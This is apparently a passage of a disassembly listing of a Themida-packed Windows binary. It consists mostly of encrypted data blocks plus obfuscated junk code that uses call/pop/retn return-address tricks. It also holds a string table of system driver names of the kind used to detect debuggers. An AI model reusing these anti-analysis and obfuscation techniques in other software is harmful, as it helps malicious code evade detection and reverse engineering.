		dd 9BB90382h, 0DE89473Dh, 8331A3C1h, 5000001h, 6AC4BAA3h
		dd 93C2E5C2h, 109DB537h, 0B4539D00h, 109DB555h,	0C271CD4Ch
		dd 0E16DBDE5h, 0DAE26EBDh, 0DB0B7580h, 69C5BBA3h, 0BDA3A781h
		dd 6FC2E8C7h, 0C24913DDh, 0B3C50E0h, 0CC15F521h, 708D0B1h
		dd 4DE0C25Bh, 0BF6DF5FFh, 27A641DEh, 64h, 0A6DDC23Bh, 6DE1713Fh
		dd 2216BDDCh, 1824ACB2h, 581F4CEh, 0CE109E14h, 0C2142E4Fh
		dd 9DB53293h, 0FF4F7310h, 559FFE4Fh, 0C2D97598h, 0DDC268h
		dd 0D44A0865h, 0B2064890h, 0E0C2BE98h, 2F6EFF4Dh, 4011398Bh
		dd 4895F7C1h, 5C7ED062h, 97F6470Dh, 0E0C2934Dh,	97D8FF4Dh
		dd 9AB97961h, 5A88D31Dh, 26000000h, 5530DDC2h, 389B92D8h
		dd 635A84B0h, 431F7ED6h, 0B53293C2h, 0EA29109Dh, 9DB51F7Bh
		dd 0D2A95010h, 50957E5Bh, 871D8203h, 0E1B68DBDh, 0C2E94524h
		dd 196BBD68h, 6FF80E18h, 1C3657B3h, 388FDDC2h, 0B8735875h
		dd 9DCDC945h, 12739210h, 381748CAh, 9DCE49C5h, 0E9F31210h
		dd 0DE99476Fh, 3241A641h, 15000000h, 6BC7BDA3h,	0B53293C2h
		dd 8203109Dh, 0A4B0FD25h, 0E0C2C21Ch, 0D031004Eh, 0BD6FCB08h
		dd 0C245E16Dh, 0AC3C4DE0h, 177697A6h, 0C4954BCDh, 34h
		dd 0C7BDA36Ah, 0BDE5C26Bh, 0E8FDE6Ah, 0B4C647C6h, 5CBD109Dh
		dd 0C268C202h, 0F3FD4BE0h, 61FD51E1h, 1670E5C2h, 0DF109DB5h
		dd 72EC21BEh, 3B109DB5h, 0E28012DAh, 0FFFE74C4h, 0BEA36AFFh
		dd 6A7AEBC8h, 9F168BF9h, 617E617Eh, 8768B22Ch, 295C7B0Ah
		dd 0A8768ADh, 6E761776h, 2CADD96Ch, 8477D4D9h, 0B6993657h
		dd 86BCCB47h, 0DEAB940Ah, 0D3652A74h, 82D01879h, 98517AA5h
		dd 0E98F32BFh, 2667F65Ah, 26417D47h, 7A607F5Ch,	2C5B65E7h
		dd 0A86F2B2h, 0BA4B1A7Bh, 0A86F362h, 0C4E861ADh, 5AA8D8F4h
		dd 3C5Ch, 12700200h, 4E109DB5h,	0E86293FBh, 0B1109DB4h
		dd 77F1476Ch, 0E1630113h, 22052280h, 9E5F57B3h,	0F3FD2010h
		dd 11BE8h, 4CDFC300h, 8D298736h, 0D5B4B426h, 61F34284h
		dd 8D0B1D0h, 0C8BEA34Eh, 0ABFF7AEBh, 5278168Eh,	0F398E03h
		dd 36BEDF6Eh, 537754B9h, 0D89C8604h, 6AE57480h,	0B394C10Bh
		dd 0D9E62F8Ch, 88D77134h, 791879C8h, 90AF2B5Ah,	15780A8Ah
		dd 123689CBh, 1EAF93B4h, 1FB4A62Eh, 0C51C1829h,	70C0E2C1h
		dd 0AA3253E2h, 0D51438ADh, 0FEE11078h, 7445138Fh, 63F6DC04h
		dd 0A34088E9h, 0CA5D4562h, 0E57A607Eh, 0CB5E4463h, 8751B081h
		dd 0D6D4FBD8h, 0AEA231CCh, 48778209h, 962D3480h, 0C31F4E46h
		dd 8C047449h, 0B8D96809h, 0FADDFAD9h, 744A0F8Bh, 2BB5D804h
		dd 629432DCh, 5B49B0Ah,	87FDFFF8h, 0ABEF330Fh, 5E7B8004h
		dd 27BAA03Fh, 99CF667h,	2065FE5Eh, 0EE3F6141h, 9F16DA0h
		dd 98BAFE5Eh, 0A6B0A48h, 0D8F82A57h, 0B5905773h, 0AAAh
		dd 3F9FB703h, 2585C919h, 3999B103h, 2A88C817h, 3B9BB908h
		dd 77C62708h, 8DDBFDDDh, 70C3E5C5h, 85D8FAD8h, 0F5DAE7C7h
		dd 0B4160680h, 0E85ACF16h, 84BAE5C2h, 9AAA9050h, 0FAD53120h
		dd 7F9E109Dh, 0B4D26375h, 159D6763h, 0E242FB12h, 9B883FCEh
		dd 8DCA9BFAh, 2B3A16A5h, 5DF0E2EAh, 0E77C5EEFh,	5CEED061h
		dd 726063F2h, 8C06ECD9h, 97F243EFh, 0D9380949h,	818A83F2h
		dd 0C8A90035h, 0C78252EAh, 3C2AA341h, 8D000000h, 29ADEBA2h
		dd 32BA5814h, 0C8BEA3A8h, 0A4EB7AEBh, 0F91C168Eh, 79D36668h
		dd 66E67759h, 0F690D9D7h, 0A4D9F6D9h, 0A8AA42Ah, 0BB4A92F3h
		dd 107B9B3Eh, 0C7E8C647h, 6AFB53E3h, 0BD37A12Bh, 92C1E16Dh
		dd 109DB53Fh, 4BBAD063h, 109DB4CFh, 0B6147598h,	0B8176F7Ah
		dd 8BFF8E45h, 6D4ACB16h, 7757F345h, 0DE8947D9h,	1131A3C1h
		dd 5000001h, 6AC4BAA3h,	0B53293C2h, 0A829109Dh,	7568C28Eh
		dd 0BBA3DB0Bh, 0A78169C5h, 6BC7BDA3h, 994764FEh, 41A641DEh
		dd 39h,	0D1DDC215h, 9AC2379Ah, 381AAA0Ch, 265A84B0h, 3293C20Ch
		dd 3109DB5h, 0AEFD2582h, 1FAF93A2h, 9EFF1E2Fh, 68C28C56h
		dd 83DF6BBDh, 0E87A607Dh, 0C4045E66h, 49h, 0C5BBA36Ah
		dd 3293C269h, 29109DB5h, 0B92C0BA8h, 109DB55Dh,	83DDE726h
		dd 0C47DDC2h, 0C72F1BCDh, 0D8FFE0FDh, 831D9FFBh, 0DB854FB9h
		dd 0DF6BBDh, 0A1465FD7h, 3D87F453h, 50E0C2A3h, 758BA02h
		dd 0C0DE5020h, 656F1E57h, 0DE9947FBh, 2F41A641h, 15000000h
		dd 351E0C2h, 21637DB9h,	3293C205h, 3109DB5h, 68C2A882h
		dd 45E16DBDh, 0B110DDC2h, 537DB0F8h, 9AFB4A02h,	19FF1FBh
		dd 24C4h, 0BDA36A00h, 93C26BC7h, 109DB532h, 0C28EA829h
		dd 94C16CDDh, 5098E23Ah, 0AAFE2403h, 0BDBE18A0h, 7D45E16Dh
		dd 4BE0C2E3h, 0E6E8F3FDh, 46FFFFFEh, 0EBC8BEA3h, 8BF96A7Ah
		dd 617E9F16h, 3F63E779h, 48955FEFh, 5D7DCF62h, 5F7C0661h
		dd 0D564EC7Bh, 0BE2F2CB4h, 0A876964h, 0B894252Dh, 380968A9h
		dd 87694FC9h, 0DB709A0Ah, 0A852E3B1h, 154B5Ah, 0C2EF0000h
		dd 0F6FE4CE0h, 9DB53797h, 6AE27310h, 0F76D4Ch, 0A3D10000h
		dd 7AEBC8BEh, 168EB277h, 0C385DA00h, 8A296CF9h,	0AFDE38ADh
		dd 66A70A8Ah, 659815Eh,	13426542h, 0A8AAFB7h, 3A29DAE8h
		dd 122129ADh, 0CAEBE9F3h, 0D8FA58E8h, 1677C684h, 11378CCEh
		dd 0E66095B2h, 0AF0A8A5Bh, 0A907666Eh, 74E9C6C0h, 1078A054h
		dd 684764A9h, 0EF98F042h, 4BDF1195h, 84A92F3h, 2CA6D7B3h
		dd 0F504748Ah, 0F4D1F190h, 0EFD37DCEh, 3C5DEC5Ch, 750DA2B4h
		dd 3882F98Ah, 0A4389AF2h, 3A76C7A6h, 578572Fh, 0A622D39h
		dd 634463A2h, 719CA73Ch, 3A82CE4Ch, 94C9C518h, 0FE5D883Ah
		dd 3591C403h, 0FEFE5D88h, 3F9FFE9Fh, 0A4AA3C1Eh, 0E2A73A1Ch
		dd 2D6CFD4Fh, 75EE194Ch, 600773D8h, 78965h, 0C0962400h
		dd 0E06EC0E2h, 0FE4CE0C2h, 0E769FAE0h, 54E1C7h,	4FBC73A2h
		dd 4E745202h, 547654FEh, 476949FFh, 6B7856F6h, 1895F164h
		dd 4B5E16B4h, 0E06CBD17h, 70DC6D51h, 1AAF19E1h,	5877D568h
		dd 3257DD6Fh, 6809AEA0h, 78666EA5h, 6DE57357h, 0AB33BDDCh
		dd 0A34141EDh, 2755h, 0BEA3E900h, 78C7EBC8h, 0C00889D8h
		dd 0A1E76293h, 6DB0168Eh, 0A02DADDCh, 0A840A8Ah, 18D4B71h
		dd 5F355AADh, 9000000h,	351E0C2h, 0AD09D332h, 0CDF5D2B4h
		dd 283D27Eh, 0B1689DBAh, 0F2168EB3h, 2D80C293h,	2342085Ch
		dd 0D832A384h, 0A10A8AACh, 4466747Ch, 0AE0A5BF1h, 66E015B3h
		dd 9F0A8AADh, 8AACF46Eh, 0B58BD0Ah, 99CCEB8Ah, 107BAA94h
		dd 6C4B68ADh, 0A7C01A4Bh, 4890477h, 77A7F955h, 7943C204h
		dd 25B9FD5Bh, 0C2E1A5BCh, 8EA61293h, 1E22316h, 0C6E3F9DEh
		dd 0FB4BE721h, 75C484D7h, 823DCC14h, 58CAD893h,	27567511h
		dd 5004F012h, 4909577Bh, 30AADBF8h, 0F94400EDh,	7EEBF594h
		dd 0F7F24E1Fh, 2203E2C9h, 1A7BAA57h, 407548BDh,	0AFEE49F2h
		dd 0B5972A10h, 0AAA23315h, 691A9EB7h, 0C904A3B3h, 646h
		dd 5B7BDB67h, 4969E575h, 5575D567h, 4E6CE473h, 5777DD6Ch
		dd 13A2CB64h, 0F13F6141h, 0CC5F4161h, 0E97C5E7Ch, 59764363h
		dd 0B419AA24h, 441E7316h, 0FF4DE0C2h, 0FA52E3F5h, 75D5676Bh
		dd 6FE57456h, 71567765h, 798CB47Ch, 0CBA0A39Bh,	8CB25D42h
		dd 459C9820h, 0D1F36241h, 26168BFCh, 4FE2C8E7h,	5274F3FDh
		dd 0C2194CFEh, 0F3800259h, 5D41934h, 8DD90000h,	77C7E9C9h
		dd 7FD1F7D7h, 76C5EBCBh, 87D6FCDAh, 71BEEDCDh, 2787CD1Ch
		dd 3F9FB301h, 2482C619h, 1A1ABFEh, 6CE61738h, 3516B41Bh
		dd 0E5C282DCh, 9DB51670h, 6AFBDF10h, 8D1F83E2h,	636DACBDh
		dd 1EB11257h, 0F96C4B2Ah, 168BF8D3h, 7A5CED30h,	0B4F164E6h
		dd 0D1800255h, 5743F1Ah, 0AD390000h, 972709A9h,	9F3117B7h
		dd 96250BABh, 0A7361CBAh, 111E0DADh, 0C7E76DFCh, 0DFFF53E1h
		dd 0C4E266F9h, 0A1014BDEh, 0CC46B798h, 9516B41Ah, 0BEA3E27Ch
		dd 0E6CCEBC8h, 2A6BFA54h, 0F91963A2h, 1F7E168Bh, 92B80C4Eh
		dd 257B4DFh, 332EBD80h,	522h, 0B7173F8Bh, 0AD0D4191h, 0B111398Bh
		dd 0B210408Fh, 0B3134190h, 0EF3EAF80h, 0D5634565h, 0E87B5D7Dh
		dd 0CD604260h, 4D925F7Fh, 0B41ABE18h, 30128716h, 8E1D6CBDh
		dd 0B092A3C2h, 0CD1E2F1Dh, 2403B445h, 9DB555B1h, 0E0FF1E10h
		dd 9DB531ADh, 519BFA10h, 419EAEFFh, 3983C719h, 0A8A4351Bh
		dd 0B4E96899h, 9625109Dh, 17A7ABBAh, 3DB52637h,	309AD9CCh
		dd 3356E79Bh, 7D9CADA5h, 4C9BBF1Ch, 0C19EBC04h,	35044899h
		dd 0EE60F2D4h, 0EB61F4E6h, 67E5785Ah, 64224747h, 0A2DB1647h
		dd 2164168Eh, 9F61E110h, 0C9D0A8Ah, 9EF75382h, 5DC00A8Ah
		dd 98292D3Ch, 0FD6FA5B4h, 350998Ch, 18CCF01Ch, 22B37750h
		dd 9BFA1B2Ah, 1A42B751h, 5AAD735Ah, 0A7371B3Ch,	67796A7h
		dd 0A8A518Ch, 71A83055h, 4Fh, 4CE0C2C5h, 0B551CD40h, 0FB1A109Dh
		dd 824ACB9Ah, 7C5B2B36h, 8E980809h, 0A5B4D916h,	0FA5489A6h
		dd 0C30A8A87h, 8B0B7A42h, 0E20A8A87h, 3E6413A8h, 0CD955FE9h
		dd 5AAD390Fh, 134C6F1h,	787390D8h, 89DD8905h, 5233520Ah
		dd 0B1138Ah, 0BD270000h, 57B3226Ch, 20109DB5h, 8ECD9CFDh
		dd 24351BACh, 6CF9DBE5h, 79ECCBE8h, 109DB51Dh, 0CE1DA7E6h
		dd 4213398Ch, 3F9FAD00h, 9DB18FCCh, 0D6664C10h,	24ACED7Ch
		dd 0DAD9F32h, 0A3B29A2Bh, 8D2A5C85h, 8E820D58h,	7757B616h
		dd 77543237h, 80480053h, 0E8882253h, 0C911074h,	163E8BAFh
		dd 114392B8h, 0EFC3FD5Ch, 5E7B3279h, 386h, 1BBB9B27h, 9A9A535h
		dd 15B59527h, 0EACA433h, 17B79D2Ch, 53E20B24h, 317FA101h
		dd 0C9F8121h, 29BC9E3Ch, 99B68323h, 0B41CEA64h,	45EB316h
		dd 912170BDh, 1AAAACBDh, 89E82938h, 55E8CAE8h, 0C279D7F7h
		dd 0B51670E5h, 0BEDF109Dh, 0A7DF0A36h, 98F4D508h, 0D35168Eh
		dd 9D4A92BEh, 0E7775B78h, 2DB7D667h, 88CF4FBEh,	0BB0B0A8Ah
		dd 2D80C293h, 850D4E1Fh, 4EB801F4h, 3EC18FBDh, 0C1695AADh
		dd 0CD000000h, 51E06CBDh, 0E574E06Dh, 9DB17794h, 0AE9E2F10h
		dd 0B5972A10h, 3483A7A4h, 8168D41Ch, 0EA37A605h, 93168E81h
		dd 54735472h, 8A7FA521h, 0A04D60Ah, 705B6A08h, 1E1AA2E3h
		dd 71E4C3C3h, 10748794h, 8F0B7A5Dh, 58047483h, 0DE6FE172h
		dd 20BFDEBFh, 0AA9AB3Ah, 0A9B89628h, 2D3C18A5h,	15438DECh
		dd 7DF0A633h, 4748421h,	97CAABEAh, 79EF7230h, 8BBF9A51h
		dd 22000002h, 0BEE4C294h, 0DEC4E26Ch, 80A2004Ah, 9F81212Fh
		dd 31644212h, 14408DFEh, 0E4494B6h, 13358AB0h, 103C8DB3h
		dd 37A6A9B2h, 16B41DDBh, 0C2D16DA4h, 320351E0h,	7AC709D3h
		dd 0F4DBFCDAh, 0A5A6146Eh, 0A5A731DAh, 409A3814h, 1670E5C2h
		dd 0DF109DB5h, 912436BEh, 45331CBBh, 0C278BFB4h, 4B89C18Ch
		dd 761794C7h, 8ADBFF6Eh, 0E4C3E4C2h, 9E6D1571h,	35BFDE10h
		dd 55E3E009h, 4C2D6CFDh, 0F19486Fh, 0E582F5FBh,	128FFEDBh
		dd 0DB168F3Ch, 0FC5AABBAh, 530A8B39h, 0AD9542B7h, 0E120311Dh
		dd 63B17FD7h, 40195AACh, 0BA000000h, 41EE689Dh,	56B70A8Bh
		dd 0BEA3D48Eh, 637AEBC8h, 0A4168EA3h, 0CFF3D061h, 7908D080h
		dd 0A8A9F19h, 77A51670h, 5AAD00B9h, 4121h, 708DB200h, 0F16DA07Bh
		dd 0BA0A8A19h, 1699745Bh, 0C225AF39h, 6CFD4BE0h, 0E564A32Dh
		dd 7109DB4h, 0C0F1DEE2h, 83445B27h, 36DAC5E2h, 0E5A6E2B1h
		dd 1B358628h, 0F85184D1h, 0B9168F6Dh, 71104491h, 0BEA3F751h
		dd 577AEBC8h, 0B0168EA4h, 2DADDC6Dh, 840A8A9Eh,	89057857h
		dd 520A8A9Dh, 0EA5FA933h, 0AD0FF2C2h, 1FAE945Ah, 0DBE52435h
		dd 13C4h, 12709A00h, 34109DB5h,	0B7A592Dh, 168EB292h, 36943253h
		dd 0EBC8BEA3h, 8BF94A7Ah, 815EBF16h, 66440859h,	0A5BF144h
		dd 0FA56E5CDh, 7ACB89D8h, 7C65D11Bh, 8338AD0Ah,	1075B3h
		dd 16193E9Dh, 138FFE10h, 0DC0471B2h, 44EF12B9h,	1735CCF3h
		dd 0D1C7F9DFh, 55E8CA07h, 0CDACA234h, 0D27ACBEDh, 4A3C2583h
		dd 0DDDDF86Dh, 24260A61h, 6EAFBE94h, 0CAF75A0Fh, 650473D8h
		dd 0C968h, 56E400h, 202E80A2h, 3E0CA082h, 2729BAA0h, 4014A187h
		dd 8FFC3362h, 8EB41242h, 94B6143Eh, 87A9093Fh, 0ABB81636h
		dd 1FD531A4h, 8B9E16B4h, 0C8BEA3D7h, 0EEE3CCEBh, 0D4C72A7Ch
		dd 0F4450358h, 9DECF495h, 168CF7E2h, 38172667h,	0BC8DBF12h
		dd 930F7E5Dh, 5C0A8861h, 0C9DAF39h, 0ED406240h,	0CA7F0E5Fh
		dd 3F4546ADh, 0A9AB3A20h, 0D04ABB98h, 99AEC6ACh, 41CB1574h
		dd 1A401FC8h, 78D283C5h, 41AEC6ADh, 6FC214DCh, 0FAE0FDDDh
		dd 0FCDEE668h, 7052E369h, 0ECE071DFh, 0F45CEBCFh, 7E29A2ECh
		dd 7E460C5Ch, 6343095Ch, 0B9DEC3Dh, 8EEF2E3Fh, 9BB7A0BFh
		dd 0F6508576h, 0BFAEC60Eh, 0CFF5795Eh, 3C40FD9h, 6A000000h
		dd 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h
		dd 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh,	56221524h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	89572414h, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 81E78957h, 4C7h
		dd 4EF8300h, 5C243C87h,	57243C89h, 164DE4BFh, 8BFA8906h
		dd 0C483243Ch, 7D7D6804h, 24890000h, 24048124h,	4, 8956555Fh
		dd 5EF589D6h, 5D086F89h, 53243C8Bh, 0C381E389h,	4, 4C381h
		dd 1C870000h, 34FF5C24h, 0C4815A24h, 4,	0FD14C3E9h, 4B0E06FFh
		dd 0CC5743E5h
		db 80h
; ---------------------------------------------------------------------------


loc_5B2F71:				; CODE XREF: Themida_:loc_5B0FD7j
		mov	eax, 6166C15h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0DECFh
		dd 6C2A4FE8h, 0D0A73E0Bh, 0C20C4BDBh, 0E23F17BEh, 0E0766F2Ch
		dd 0F12A2704h, 3F48248Ah, 998827B2h, 0FF2E62E6h, 0E3E04924h
		dd 8F561AA2h, 0D2A90DACh, 25B10FEBh, 0B11D5A18h, 84F44AB8h
		dd 0F26704D1h, 505E7C40h, 0E87B79A3h, 915B5358h, 204A5C59h
		dd 38EF084Fh, 6A015ACh,	809912CDh, 89ED7D0Eh, 7E81720h
		dd 2B000000h, 23E0C1ACh, 0B70FAC57h, 66605ADAh,	8B66D68Bh
		dd 0C28161CAh, 5CE2h, 6890Fh, 0E3810000h, 1517290Ch, 0EE81FF2Bh
		dd 144DB994h, 0E91734FFh, 0Ah, 0ECD01A98h, 0B3DC9A5Fh
		dd 0E859084Bh, 6, 1B01C310h, 815B1403h,	5AED51F1h, 28E98108h
		dd 660D1EA4h, 81ADA6B8h, 0CDDB6AF1h, 7E907h, 0F7090000h
		dd 26269204h, 3A0C89F2h, 0CED08166h, 0EE890h, 0B6C20000h
		dd 0FE5EA07Eh, 0A62ED66Eh, 852B41B8h, 800Fh, 83580000h
		dd 0C88104EFh, 1A47D8FDh, 0A3DCFF81h, 850FFFFFh, 0Eh, 16E9BFB3h
		dd 0A7000000h, 0E12F17C4h, 0E9F83476h, 0FFFFFF74h, 0AE6159F7h
		dd 0AAEF74EEh, 14E816h,	0C8500000h, 0B1DB59E1h,	0BBF3C53Fh
		dd 36679CE7h, 7A14697Ah, 6E822BFh, 32000000h, 0C5692D66h
		dd 65BB667Dh, 0F59582Fh, 884h, 2840F00h, 8B000000h, 2DC181F9h
		dd 0F000075h, 1C68C3B7h, 0F00001Dh, 187h, 665EF500h, 8B9DE5BBh
		dd 0EA81F911h, 66D1A659h, 3CCADF81h, 0EA817030h, 6598A206h
		dd 8F16CB81h, 0C281703Eh, 2208AC27h, 8830Fh, 0F600000h
		dd 8Bh,	66526100h, 18BDE881h, 8166018Fh, 832499E0h, 0C28B04E9h
		dd 0F01EE83h, 1B85h, 0FFBF0F00h, 22E9h,	0D3C47300h, 0E9823B5Fh
		dd 0BC149BDEh, 0AF3D4616h, 815A0A04h, 0FFFF96E9h, 0EEA232FFh
		dd 26870840h, 0E8B68941h, 14h, 31BF9F88h, 279F806Ah, 8BF6C07Ah
		dd 188A0DD5h, 46FC4B57h, 0FE9h,	98ECBB00h, 27A5FF4Bh, 0CCCC6300h
		dd 507EE667h, 8191B05Ah, 5D5BC2h, 0BFF500h, 81000000h
		dd 0ECD718F1h, 3A348B69h, 10E8h, 2B6D5900h, 19BBFD81h
		dd 0E3AC4D54h, 1327BE0Eh, 0BCF5806Ah, 26F68158h, 0E92FE702h
		dd 7, 95F5CF99h, 81B16B2Eh, 619873F6h, 0C38B6638h, 2E9CF681h
		dd 0B70F2623h, 0B70F56CEh, 3A048FC1h, 6660C78Bh, 61F44FB8h
		dd 0BC59EF81h, 81F54C26h, 26BC55C7h, 0AE84Ch, 60A80000h
		dd 0EA63B6B1h, 8E22FBB9h, 2880Fh, 61600000h, 98FF8158h
		dd 0FFFFFA3h, 2785h, 0C9816000h, 2151CFF7h, 2870Fh, 61600000h
		dd 25E961h, 0A4F00000h,	14DC55EBh, 0A82F884Fh, 8753EB7Ah
		dd 10A2B48Bh, 0FF53E9FCh, 6254FFFFh, 21B9F048h,	7656E725h
		dd 0EBFDB683h, 53464934h, 2052474Dh, 444B5620h,	20202020h
		dd 4D4D5620h, 20202020h, 49575620h, 2032334Eh, 44585620h
		dd 2052444Ch, 20h, 2 dup(0)
		dd 842E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 8E0C88C3h, 0FE939E7h, 21000000h
		dd 426043E0h, 79F2CC69h, 92CE099Bh, 6A605B38h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 8EE6C356h, 0E9F93A59h, 0Bh, 0EC083FBEh, 0E48F91F7h
		dd 0C7CADC83h, 166FC785h, 6, 0C810F00h,	60000000h, 3E62ADBEh
		dd 1B25BF73h, 8B616B97h, 53006AC6h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0DB2F31EAh, 8E0F9DBFh
		dd 0Eh,	9E9h, 1716C00h,	536BE0B9h, 0B70FDD07h, 8B6660D8h
		dd 8E0FF8h, 61000000h, 0E910E8C1h, 12h,	831778EDh, 723902E1h
		dd 54F972B5h, 3B6D29EDh, 0C166A578h, 6A08C8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0FB2898C3h
		dd 60C90FE3h, 5870Fh, 81660000h, 81B850CBh, 2DD657CAh
		dd 8589611Ah, 6166FCBh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 4EC35242h, 840F9E06h,	1, 78E0FF5h, 0F000000h
		dd 18Dh, 0C166F500h, 6A08CBh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 60680EC3h, 8E8h, 5C930B00h
		dd 0FE62BA48h, 8C0F5F8Ah, 13h, 0DE8h, 0D0A6900h, 0ED04C79h
		dd 32AAB3ADh, 615F6821h, 0F40FB83h, 6E85h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 0E4A3713Eh, 8A0FF757h, 0Ch, 6860Fh, 8E0F0000h, 0
; ---------------------------------------------------------------------------
		jbe	loc_5B348A
		jnb	loc_5B348A
		jg	$+6


loc_5B348A:				; CODE XREF: Themida_:005B3478j
					; Themida_:005B347Ej
		clc
		lea	edi, [ebp+6166F9Fh]
		pusha
		jo	loc_5B349C
		mov	ax, 5603h


loc_5B349C:				; CODE XREF: Themida_:005B3492j
		pusha
		clc
		popa
		popa
		jmp	loc_5B35FA
; ---------------------------------------------------------------------------
		jmp	loc_5B34B3
; ---------------------------------------------------------------------------
		mov	esp, 0B6F6F5E6h
		or	al, [esi+ebx*4+51h]


loc_5B34B3:				; CODE XREF: Themida_:005B34A5j
		cmp	ebx, 0Dh
		jnz	loc_5B34E6
		pusha
		or	edi, 65880BF0h
		movzx	edx, cx
		popa
		lea	edi, [ebp+6166FA7h]
		jno	loc_5B34D4
		stc


loc_5B34D4:				; CODE XREF: Themida_:005B34CDj
		jmp	loc_5B35FA
; ---------------------------------------------------------------------------
		jno	loc_5B34E6
		jns	loc_5B34E6
		clc


loc_5B34E6:				; CODE XREF: Themida_:005B34B6j
					; Themida_:005B34D9j ...
		cmp	ebx, 1
		jnz	loc_5B3545
		push	0
		push	esi
		call	sub_5B34FA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B34FA	proc near		; CODE XREF: Themida_:005B34F2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5B34FA	endp

; ---------------------------------------------------------------------------
		dec	esi
		mov	[ebp+166FAFBDh], ecx
		push	es
		push	0
		push	edi
		call	sub_5B351D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B351D	proc near		; CODE XREF: Themida_:005B3515p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5B351D	endp

; ---------------------------------------------------------------------------
		dec	ebx
		mov	ecx, 62CCF9BAh
		push	eax
		jmp	loc_5B35FA
; ---------------------------------------------------------------------------
		pusha
		mov	ecx, 16E091D8h
		or	dx, 6990h
		popa


loc_5B3545:				; CODE XREF: Themida_:005B34E9j
		cmp	ebx, 2Ah
		jnz	loc_5B35CE
		push	0
		push	ebx
		call	sub_5B3559
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3559	proc near		; CODE XREF: Themida_:005B3551p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5B3559	endp

; ---------------------------------------------------------------------------
		db 87h,	1Ah, 45h
		dd 6D8C0BFEh, 880FD140h, 4, 615E5160h, 6FB7BD8Dh, 6A0616h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 9847D9C3h, 318269Ch,	0DE903h, 0E1740000h, 5F9B774Dh
		dd 0F8176773h, 0F9B63133h, 3DE9h, 0B800F00h, 60000000h
		dd 0FD3B70Fh, 88h
		db 0, 61h
; ---------------------------------------------------------------------------


loc_5B35CE:				; CODE XREF: Themida_:005B3548j
		cmp	ebx, 27h
		jnz	loc_5B397A
		jmp	loc_5B35E1
; ---------------------------------------------------------------------------
		pop	eax
		add	al, 0DDh
		xchg	eax, ebx
		scasb


loc_5B35E1:				; CODE XREF: Themida_:005B35D7j
		lea	edi, [ebp+6166FBFh]
		jmp	loc_5B35FA
; ---------------------------------------------------------------------------
		dd 0FBA081C4h, 0FC21FE3Bh, 4C82C4F4h
; ---------------------------------------------------------------------------
		mov	bl, 0BBh


loc_5B35FA:				; CODE XREF: Themida_:005B34A0j
					; Themida_:loc_5B34D4j	...
		mov	[ebp+6166FCFh],	edi
		push	0
		push	ebx
		call	sub_5B360B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B360B	proc near		; CODE XREF: Themida_:005B3603p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B360B	endp

; ---------------------------------------------------------------------------
		mov	ch, 9Eh
		nop
		mov	ax, cs
		push	0
		push	eax
		call	sub_5B362C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B362C	proc near		; CODE XREF: Themida_:005B3624p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5B362C	endp

; ---------------------------------------------------------------------------
		push	ds
		push	esi
		jp	loc_5B364C
		ja	loc_5B364C
		pusha
		popa


loc_5B364C:				; CODE XREF: Themida_:005B363Ej
					; Themida_:005B3644j
		pusha
		jmp	loc_5B3663
; ---------------------------------------------------------------------------
		dw 3DD7h
		dd 0DB9E6EF6h, 0D98F3C3Ch, 0D7905C7Bh
		db 0A1h, 65h, 80h
; ---------------------------------------------------------------------------


loc_5B3663:				; CODE XREF: Themida_:005B364Dj
		popa
		and	al, 3
		pusha
		cld
		mov	di, 0D20Ch
		popa
		or	al, al
		jnz	loc_5B38BE
		push	0
		push	eax
		call	sub_5B3680
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3680	proc near		; CODE XREF: Themida_:005B3678p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5B3680	endp

; ---------------------------------------------------------------------------
		dd 0B58D3D63h, 6167739h, 9D858BF8h, 6A061677h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 678DC351h, 0F60F841h, 1581h,	10E900h, 8B020000h, 0F7756861h
		dd 0E8BD1A0h, 56996B76h, 9261C6A0h, 10E95250h, 0A8000000h
		dd 5DDAE9E6h, 0FE16C4C8h, 0CAC07ED6h, 0F1DCD14h, 198B0F31h
		dd 0E9000000h, 14h, 0E7F1D87Ah,	0F9234222h, 0ABB545BBh
		dd 8C9F1F3Fh, 9AEC221h,	5050585Ah, 0BE952h, 0A4210000h
